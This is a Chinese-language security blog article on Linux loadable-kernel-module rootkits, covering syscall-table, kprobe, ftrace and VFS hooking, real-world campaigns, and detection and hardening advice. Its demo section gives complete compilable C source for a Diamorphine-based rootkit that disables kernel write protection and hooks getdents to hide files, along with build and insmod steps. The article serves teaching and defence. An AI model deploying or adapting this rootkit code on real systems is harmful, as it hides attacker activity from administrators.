Linux rootkit 深度分析 – 第 2 部分:可加载内核模块

2024-08-13 09:59:21 浏览数 (2)

第 2 部分深入探讨了 LKM(可加载内核模块)和内核空间 rootkit 的世界,以探索 LKM 是什么、攻击者如何滥用它们以及如何检测它们。

图片图片

    在本系列的上一部分中,我们介绍了LD_PRELOAD用户空间 rootkit。我们了解了这些 rootkit 的工作原理,并提供了在操作系统上检测它们的最佳实践。

    在 Linux(和其他类 Unix 操作系统)中,系统内存分为两个不同的域:用户空间和内核空间。这些空间代表内存的不同区域,服务于不同的目的,在用户级应用程序和操作系统的核心功能(内核)之间提供了根本的分离。两个空间之间的分离增强了系统的稳定性、安全性和整体性能。

    在本系列的第 2 部分中,我们将探讨 LKM(可加载内核模块)内核空间 rootkit。这种 rootkit 技术已被不同的攻击者在野外使用,包括:

  • TeamTNT,它使用 Diamorphine 开源 LKM rootkit 来隐藏加密货币挖掘过程。
  • Winnti 组 (APT 41) 使用 adore-ng 和 suterusu LKM rootkit 来隐藏不同的恶意活动。

    在这篇文章中,我们将研究什么是可加载的内核模块,攻击者如何滥用此功能,提供在野外使用的示例,并解释如何检测它。

可加载的内核模块

    Linux 内核是操作系统的核心,它管理系统资源并为操作系统和应用程序的其他部分提供基本服务。可加载内核模块是可以动态加载到 Linux 内核中以扩展其功能的代码片段,而无需重新编译内核甚至重新启动。例如,当您需要处理内核不支持的新型文件系统时,您可能需要加载一个特定的内核模块,该模块旨在为该文件系统类型提供支持。

    可加载内核模块被设计为可在运行时加载,允许内核适应不同的硬件配置,并支持各种设备和功能,而无需重新编译或修改主内核代码。

从用户空间探索内核模块并与之交互

    Linux 提供了各种命令来管理内核模块,以下模块是 kmod 应用程序的一部分。这些命令包括:

  • insmod:用于手动将内核模块插入到正在运行的内核中。
  • rmmod:用于卸载(删除)内核模块。
  • modprobe:一个高级模块管理工具,不仅可以加载模块,还可以处理模块依赖关系,在需要时自动加载相关模块。
  • lsmod:用于列出所有加载的内核模块。它通过从 /proc/modules 文件中读取信息并查询 /sys/module/ 目录以获取每个模块的详细信息来运行。

通常,用户不会直接调用 kmod,因为它主要由包管理器和系统工具来有效地处理内核模块。

三个相关文件和目录是:

  • /lib/modules/ - 包含特定于系统上安装的不同内核版本的内核模块和相关文件。/lib/modules/ 中的每个子目录都对应于特定的内核版本,并包含相关组件。它允许操作系统将不同的内核版本及其相关模块分开,从而在需要时更轻松地在内核版本之间切换。
  • /proc/modules - 此虚拟文件提供当前加载的内核模块列表。此文件中的每一行都表示一个已加载的模块,并包含有关该模块的信息,包括其名称、大小和使用计数。
  • /sys/module/ - 此虚拟目录提供有关当前加载的内核模块的信息。每个加载的模块在 /sys/modules/ 下都有自己的目录,在每个模块的目录中,都有包含有关模块信息的不同文件。此目录允许用户空间进程、工具和管理员在运行时访问有关已加载内核模块及其属性的信息。

系统调用(系统调用)和内核函数

    在我们深入研究攻击者如何滥用 LKM 之前,了解什么是系统调用和内核函数非常重要。

    当用户空间程序需要执行需要与内核交互的任务(例如,读取文件、创建网络套接字、管理进程)时,它必须要求内核执行这些操作。系统调用充当用户空间和内核空间之间的接口,允许内核代表用户程序执行请求的操作。浏览 Linux syscalls 手册页,了解有关 syscalls 的更多信息。

    系统调用是一种从用户空间调用内核中函数的方法,但绝大多数内核代码并不公开为系统调用,而是由内核在内部用于执行与管理系统资源和维护操作系统整体操作相关的各种任务。它们不是用户程序可以通过系统调用访问的标准化接口的一部分。

例: 执行

代码语言:javascript复制
strace ls
“strace ls”输出“strace ls”输出

在上面的代码片段中,我们可以看到getdents64 syscall 的用法。此系统调用用于从目录中检索目录条目。它主要由需要读取目录内容的程序使用,包括ls和ps。在本例中,我们在空目录上执行,然后此系统调用收到 2 个条目(默认值和.. .)。

filldir是内核中的一个函数,从fs/readdir.c调用。它负责在目录列表中将目录条目(文件名和元数据)填充到目录缓冲区中。getdents系统调用在fs/readdir.c中使用filldir函数(参见 fs/readdir 源代码)。

LKM 的滥用

     在本系列的前一部分中,我们提到 rootkit 通常用于通过hook执行流来隐藏恶意活动。例如,在用户空间中,攻击者可以通过覆盖 libc 函数实现劫持,而劫持内核空间中的执行流将通过hook内核函数或系统调用来实现。

局限性

    攻击者要使用LKM rootkit 存在某些限制,这些约束可以分为权限可移植性

权限 

  • 容器:与用户模式 rootkit 不同,内核模块 rootkit 需要访问主机上的系统内核。如果满足以下任一条件,则进入容器的攻击者将能够加载内核模块:
    1. 容器具有特权
    2. 容器具有SYS_MODULE能力
    3. 攻击者的受控线程具有SYS_MODULE能力
  • 虚拟机/主机:攻击者必须具有 root 权限或能够执行具有SYS_MODULE功能的进程。

     此外,可以使用 seccomp 和 AppArmor 等安全机制来限制进程的操作,包括防止与内核模块的交互。此外,系统内核可以在完全没有模块加载功能的情况下进行编译。

可移植性

     内核模块必须使用与目标系统的内核版本兼容的特定内核头文件.ko进行编译。此外,内核函数和对象因内核版本和体系结构而异。因此,对于每个唯一的内核版本,可能需要不同的模块编译。这种复杂性给攻击者带来了挑战,因为他们不能只删除和加载预编译(内核对象文件)文件。相反,他们必须直接在目标系统上或在与目标系统的内核头文件匹配的系统上编译模块。

     虽然这是最靠谱的方式,但是要注意,在加载内核模块时,也可能有其他方法可以避免完全编译的必要性。

内核函数Hook方法

     一旦威胁参与者能够插入恶意 LKM,他们就可以完全控制内核空间(控制整个机器),并且可以滥用内核中的不同功能。

     让我们列出一些攻击者用来钩住内核函数的常用方法:Syscall 表修改、Kprobes(内核探针)、Ftrace 和 VFS(虚拟文件系统)操作。

     我们将在用户层上详细介绍每种方法,并引用利用它的开源 LKM rootkit 项目。探索这些 rootkit 项目有助于了解攻击者如何实践这些方法。

Syscall 表修改

    syscall表是Linux内核用来管理系统调用的数据结构。它用作查找表,其中包含指向负责处理特定系统调用的函数的指针。当用户空间程序进行系统调用时,内核使用此表来查找适当的处理程序函数并执行请求的系统调用。

图片图片

从用户空间到内核的 Syscall 流程

     通过对内核空间的完全控制,可以更改此表并操作处理程序指针值。攻击者可以通过保存旧的处理程序内容并将自己的处理程序添加到表中来hook任何系统调用。

     利用此方法的开源 LKM rootkit 项目:Diamorphine 。

使用 Kprobes(内核探针)

    Kprobes 是 Linux 内核中的一项动态检测功能,允许开发人员在内核代码路径中的特定点插入自定义代码(探针)。这些探针旨在用于调试、分析、跟踪和收集有关内核行为的运行时信息,而无需修改实际内核代码。

    Kprobes 的工作原理是将探测处理函数附加到内核代码中的选定点。执行该特定代码路径时,将调用探测处理程序函数。通过在敏感的内核函数上放置 kprobe,攻击者可以在调用该函数时执行其代码。

    利用此方法的开源 LKM rootkit 项目:Reptile(利用 khook)。

使用 Ftrace

    Ftrace 是 Linux 内核中的内置跟踪框架,它提供了用于收集和分析有关内核行为和性能的不同类型的运行时信息的工具和基础设施。它旨在帮助开发人员和系统管理员了解内核的运行方式,并识别性能瓶颈、调试问题等。

    Ftrace 允许用户跟踪特定的内核函数。攻击者可以利用此功能对内核函数的执行进行hook和拦截。

     利用此方法的开源 LKM rootkit 项目: Ftrace-hook 。

VFS(虚拟文件系统)操作

    VFS 是类 Unix 操作系统的关键组件,它通过启用 open()、stat()、read()、write()和 chmod() 等系统调用为用户空间程序提供文件系统接口。VFS 抽象并统一了对不同文件系统的访问,允许各种文件系统实现共存。VFS 是表示通用文件模型的一系列数据结构。VFS 的四种主要对象类型是:

  • Superblock 对象 - 表示一个特定的挂载文件系统。
  • Inode 对象 - 表示特定文件(例如常规文件、目录、FIFO 和套接字)。
    • 此对象包含 inode 操作(i_op)结构的字段。索引节点操作是操作系统中文件系统层提供的一组低级函数,用于操作文件和目录并与之交互。这包括 lookup()、rename()、mkdir()、unlink() 等(请注意,结构因内核版本而异)。
  • Dentry - 表示目录条目,路径的单个组件。
  • File 对象 - 表示与进程关联的打开文件。
    • 此对象包含文件操作(f_op)结构的字段。文件操作是定义在打开文件进行读取、写入或其他形式的访问时如何操作文件的函数。这包括 – read()、write()、mmap()、fsync() 等(请注意,结构因内核版本而异)。

     在用户层中,每个对象都包含指向下一个对象的指针,其节点结构如下:file 对象 -> dentry 对象 -> inode 对象 -> superblock 对象。

     攻击者可以hook到与特定文件系统关联的函数指针(如 root和proc),并用自己的函数指针替换它们。例如,替换readdir文件操作函数指针(有关较旧的内核版本,请参阅文件操作结构)。

     利用此方法的开源 LKM rootkit 项目:adore-ng 和 suterusu 。

演示

     让我们创建一个内核模块,该模块使用 syscall 表修改方法hook getdents64 syscall,以隐藏名为 “malicious_file” 的文件,编译它并加载它。还值得注意的是,攻击者通常会hook filldir或fillonedir内核函数,filldir是用于相同目的更底层的hook。

     让我们创建一个内核模块,该模块使用 syscall 表修改方法hook getdents64 syscall,以隐藏名为 “malicious_file” 的文件,编译 它并加载它。

重要:

  • 插入和删除内核模块可能会破坏内核。确保在一次性、非生产、非关键环境中运行此演示,在该环境中,您可以承受丢失所有数据的承受能力。
  • 此演示适用于 4.16.0 和 5.7.0 之间的内核版本以及 X86/ X86_64 架构。

1. 在 /tmp 下创建一个工作目录:

代码语言:javascript复制
mkdir /tmp/test-lkm-rootkit && cd /tmp/test-lkm-rootkit

2. 安装相关软件包,包括与您的内核匹配的内核头文件:

* 对于基于ubuntu机器的机器,运行 :

代码语言:javascript复制
apt install -y build-essential libncurses-dev linux-headers-$(uname -r)

* 对于基于centos的机器,运行:

代码语言:javascript复制
yum install -y kernel-devel-$(uname -r) && yum –y groupinstall 'Development Tools'

3. 创建并复制以下内容为:Makefile

代码语言:javascript复制
obj-m := lkmdemo.oCC = gcc -Wall KDIR := /lib/modules/$(shell uname -r)/buildPWD := $(shell pwd)
all:$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:$(MAKE) -C $(KDIR) M=$(PWD) clean
代码语言:javascript复制
4. 创建一个名为 lkmdemo.c 的文件,并复制下面的模块代码(代码基于 Diamorphine rootkit):
代码语言:javascript复制
#include<linux/sched.h>#include<linux/module.h>#include<linux/syscalls.h>#include<linux/dirent.h>#include<linux/slab.h>#include<linux/version.h>#include<linux/proc_ns.h>#include<linux/fdtable.h>#ifndef __NR_getdents#define __NR_getdents 141#endif#define MAGIC_PREFIX "malicious_file"#define MODULE_NAME "lkmdemo"
structlinux_dirent {unsignedlong   d_ino;unsignedlong   d_off;unsignedshort  d_reclen;char            d_name[1];};
unsignedlong cr0;staticunsignedlong *__sys_call_table;typedef asmlinkage long(*t_syscall)(const struct pt_regs *);static t_syscall orig_getdents;static t_syscall orig_getdents64;
unsignedlong * get_syscall_table_bf(void){unsignedlong *syscall_table;  syscall_table = (unsignedlong*)kallsyms_lookup_name("sys_call_table");return syscall_table;}static asmlinkage longhacked_getdents64(const struct pt_regs *pt_regs){structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents64(pt_regs), err;unsignedlong off = 0;structlinux_dirent64 *dir, *kdirent, *prev =NULL;if (ret <= 0)return ret;  kdirent = kzalloc(ret, GFP_KERNEL);if (kdirent == NULL)return ret;  err = copy_from_user(kdirent, dirent, ret);if (err)goto out;while (off < ret) {    dir = (void *)kdirent   off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {if (dir == kdirent) {        ret -= dir->d_reclen;memmove(dir, (void *)dir   dir->d_reclen, ret);continue;      }      prev->d_reclen  = dir->d_reclen;    } else      prev = dir;    off  = dir->d_reclen;  }  err = copy_to_user(dirent, kdirent, ret);if (err)goto out;out:kfree(kdirent);return ret;}
static asmlinkage longhacked_getdents(const struct pt_regs *pt_regs){structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;int ret = orig_getdents(pt_regs), err;unsignedlong off = 0;structlinux_dirent *dir, *kdirent, *prev =NULL;if (ret <= 0)return ret;    kdirent = kzalloc(ret, GFP_KERNEL);if (kdirent == NULL)return ret;  err = copy_from_user(kdirent, dirent, ret);if (err)goto out;while (off < ret) {    dir = (void *)kdirent   off;if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {if (dir == kdirent) {        ret -= dir->d_reclen;memmove(dir, (void *)dir   dir->d_reclen, ret);continue;      }      prev->d_reclen  = dir->d_reclen;    } else      prev = dir;    off  = dir->d_reclen;  }  err = copy_to_user(dirent, kdirent, ret);if (err)goto out;out:kfree(kdirent);return ret;}
staticinlinevoidwrite_cr0_forced(unsignedlong val){unsignedlong __force_order;asmvolatile("mov %0, %%cr0"    : " r"(val), " m"(__force_order));}
staticinlinevoidprotect_memory(void){write_cr0_forced(cr0);}staticinlinevoidunprotect_memory(void){write_cr0_forced(cr0 & ~0x00010000);}
staticint __init lkmdemo_init(void){  __sys_call_table = get_syscall_table_bf();if (!__sys_call_table)return-1;  cr0 = read_cr0();  orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];  orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];unprotect_memory();  __sys_call_table[__NR_getdents] = (unsignedlong) hacked_getdents;  __sys_call_table[__NR_getdents64] = (unsignedlong) hacked_getdents64;protect_memory();return0;}
staticvoid __exit lkmdemo_cleanup(void){unprotect_memory();  __sys_call_table[__NR_getdents] = (unsignedlong) orig_getdents;  __sys_call_table[__NR_getdents64] = (unsignedlong) orig_getdents64;protect_memory();}
module_init(lkmdemo_init);module_exit(lkmdemo_cleanup);
MODULE_LICENSE("Dual BSD/GPL");MODULE_AUTHOR("demo");MODULE_DESCRIPTION("LKM rootkit based on diamorphine");

5. 运行以创建.ko文件:

代码语言:javascript复制
make 

6. 创建名为 malicious_file 的文件。

代码语言:javascript复制
touch malicious_file

7. 在工作目录上运行,并在输出中查看该文件。

代码语言:javascript复制
ls malicious_file

8. 加载内核模块

代码语言:javascript复制
insmod lkmdemo.ko

9. 再次运行,我们将看到现在在输出中是隐藏的。

代码语言:javascript复制
ls malicious_file

10. 运行并查看输出中的 lkmdemo。

代码语言:javascript复制
lsmod

11. 卸载模块。

代码语言:javascript复制
rmmod lkmdemo

在野的使用

     已在许多实际威胁中检测到可加载内核模块(LKM)rootkit。值得注意的是,许多公布的攻击都利用了开源 rootkit。然而,这并不一定意味着大多数 LKM rootkit 都来自开源项目。由于检测加载的内核模块固有的困难,因此怀疑可能存在未公开的威胁,这些威胁仍未被公布。

TeamTNT 组:Diamporphine rootkit

  • 自 2020 年 8 月以来,TeamTNT 在不同的活动中以及最近的活动(例如归因于该组的 Kiss-a-Dog)中使用 Diamorphine 来隐藏加密挖矿过程。

Melofee 恶意软件 / 针对易受攻击的 Fortinet 服务的活动 / 针对韩国公司的活动:Reptile rootkit

  • Reptile 是一个功能强大的 rootkit,除了隐藏恶意活动外,它还提供后门功能。它最近被记录为中国不同归因威胁的一部分;针对易受攻击的 Fortinet 服务、Melofee 恶意软件的活动,以及针对韩国公司的活动。有趣的是,发布后一项活动的公司 ASEC 展示了该活动中发现的工件与 Melofee 恶意软件之间的相似之处。

Winnti 组 (APT 41) / RedXor 恶意软件 / Syslogk 恶意软件:Adore-ng、Suterusu rootkits

  • Adore-ng 最初被记录为 Winnti 组 (APT 41) 工具集的一部分。虽然是一个旧的 rootkit(最后一次提交是 8 年前),适用于旧的内核版本(因此是遗留系统),但它的使用是在最近的恶意软件 RedXor 中观察到的,该恶意软件主要是中国的攻击者使用。2022 年 6 月,Avast 报告了一个新的 rootkit,即 Syslogk,它主要基于 adore-ng。

Skidmap 恶意软件

  • Skidmap 恶意软件使用 LKM rootkit 来隐藏加密挖掘活动。在 trustwave 关于这种不断演变的威胁的最新报告中,可以看到 Skidmap 针对易受攻击的 Redis 实例。

检测 LKM rootkit

     攻击者利用 LKM rootkit 来拦截不同的内核级函数,从而增加了调查受感染系统的复杂性。以下技术可以帮助识别此类 rootkit 的存在:

  • 将运行时文件系统与映像快照进行比较。如果存在差异,则这些文件可能是隐藏在某些命令中的攻击的一部分。
  • 加载内核模块后,将调用init_module(或)finit_module syscall。如果您使用的是运行时检测工具,请确保它会在此事件时向您发出警报。
  • 利用取消隐藏的工具,取消隐藏使用不同的暴力破解技术来检测隐藏的进程。

阻止 LKM rootkit

     为了最大程度地降低在您的环境中受到 LKM rootkit 攻击的可能性,我们建议考虑以下步骤:

  • 请确保未使用特权容器或具有SYS_MODULE功能的容器(如果不需要)。
  • 尽量减少面向 Internet 的服务。
  • 确保应用程序没有过多的功能,并避免在不需要的地方使用 root 用户权限。
  • 使用 AppArmor 和 SElinux 等访问控制机制来限制哪些进程和用户可以加载内核模块并与之交互。
  • 使用安全启动。安全启动是一项功能,可确保在系统启动过程中只能加载已签名和受信任的组件,包括内核模块。它可以防止加载未经授权的模块。

总结

     可加载内核模块 LKM rootkit 利用不同的内核功能来k内核函数。成功加载 LKM rootkit 的攻击者可以完全控制系统资源,隐藏恶意活动,从而导致检测具有挑战性。

     在这篇文章中,我们提供了这类 rootkit 的介绍。我们详细介绍了内核模块的用途以及它们如何被攻击者使用。我们列出了此 rootkit 在野外的使用示例,并提供了有关如何检测此类 rootkit 的最佳实践。

     请继续关注本系列的第 3 部分,我们将深入探讨 eBPF rootkit。

0 人点赞